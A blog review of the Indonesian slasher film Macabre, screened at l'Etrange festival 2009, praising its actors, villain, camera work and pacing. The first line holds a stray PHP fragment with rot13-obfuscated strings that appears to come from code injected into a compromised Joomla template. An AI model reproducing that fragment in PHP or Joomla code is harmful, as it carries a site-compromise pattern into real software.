// no direct access defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' ); ?> L'ETRANGE 09: Review of Indonesian slasher MACABRE

L'ETRANGE 09: Review of Indonesian slasher MACABRE
Faithful lovers of the weird, the bizarre, and the outstanding rejoice, l’Etrange festival is upon us until September the 13th. This 15th edition is filled to the brim with a fantastic lineup ranging from a wide selection of Pinku Eigas to the incredible mindtrip of the latest José Mojica Marins. And I’ve got a treat for this first review of the fest. Today’s little gem is the debut movie by the Mo brothers, Timo Tjahjanto & Kimo Stamboel. Hence the Mo, not Moo; no dairy products involved here.

"Who the heck are the Mo Brothers?" you'll ask me. Honestly, I didn’t even know they existed before the screening. But what I saw convinced me of one thing: they are destined for greatness. Let me introduce you to MACABRE.

In the whole panel of genre movies, few are as much codified and linear as the slasher. You get victims, a killer, unavoidable clichés and the certainty the plot will develop toward an ultimate boss fight. The Texas Chainsaw Massacre, Scream, The House of 1000 Corpses, to name a few, all have these common points so, how will our Dynamic Duo refresh the faded and increasingly boring synopsis of the "6 young people going on a road trip, getting lost in the middle of nowhere in a place full of vicious maniacs" with hitchhiker and spooky house on the side?

Six classic archetypes are in a bar. There’s the tough guy, the sexual maniac, the happy couple (pregnant wife and spaced out father), the nice guy and the wild girl. Them being cardboard cutouts used since the beginning of narration, the setup is quickly over with. There’s just enough screen time to get everyone in the theater to recognize the formal set-up of the party of characters before they take off to their impending doom. As with any road-trip slasher, our unsuspecting heroes will pick up a lonely female hitchhiker during a sudden storm and drive her back home. They’ll be forced to stay, meet the family, grab a bite, and enjoy the evening in the strangely furnished house and all hell will break loose before the dessert is served.

There’s not much to say about the story for it beautifully follows the guideline of the genre. But there’s plenty to say about how they do it. First, the actors, perfectly cast to fit their archetypes (special mention to the female leads that literally overwhelm the audience by their screen-presence) and there’s also the Indonesian Bruce Campell. Really. No Kidding. The Mother, played by Shareefa Daanish, is the scariest and fascinating villain I’ve seen in a long time: she’s a porcelain doll, with a deep bass voice who moves like a stick insect. She carries darkness and dread like some will carry a purse, you have to see it to believe it. I’m sure there’s a great career awaiting her.

Then there’s the camera work and photography, they aren’t merely tools to tell the action, they are part of it, sustaining it, transcending it. Rhythm and semiotics of the slasher genre are mastered, the waves of action piles one upon the others while the little comedy moments comes right in place to cool off our senses and get us able to be scared and surprised when the next climax hit us in the face like a frying pan from Heaven. Pretty often something unrelated to the main action goes on in the background of the scene diverting our attention to where it’ll be needed 2 seconds later.

Adding to the exhilarating feel of the whole, there’s the heroic buildup of the characters, heroes and villains who take more beatings than Bruce Willis in the whole Die Hard franchise and still manage to limp through the motion, fight tooth and nail for their lives using whatever they have at hand (really everything from knives and blunt things lying around the house to some creative use of jars), when the average human would have died 4 scenes before. Giving such resilience to the heroes evens the odds, it’s not by wit alone they can escape their doom, fighting is so much more entertaining. It’s like watching a wasp land on a needle. It works so well that when one the villains is finally killed after having been cut, pierced, slashed, beaten, burned, beaten once more with feelings and finally decapitated by two of the remaining heroes, the whole theater gave a round of applause at their achievement.

The Mo brothers manage to sustain the rhythm so well from beginning to end, without a dead beat, constantly surprise the audience with unexpected tidbits or clearly burlesque elements (like how slippery a pool of blood is or the improbable cop patrol), while keeping the movie within the slasher template and it never feels contrived. Clear homage is paid to the greatest slashers of all time and while clearly reminding us what movies they take inspiration from, like Texas and Evil Dead, they still get it done their way. To sum this up, Macabre is one hell of a debut movie, deserving an encouraging 8.5 on my tabs. See you all Monday for the review of the latest movie by the (in)famous Uwe Boll : Rampage.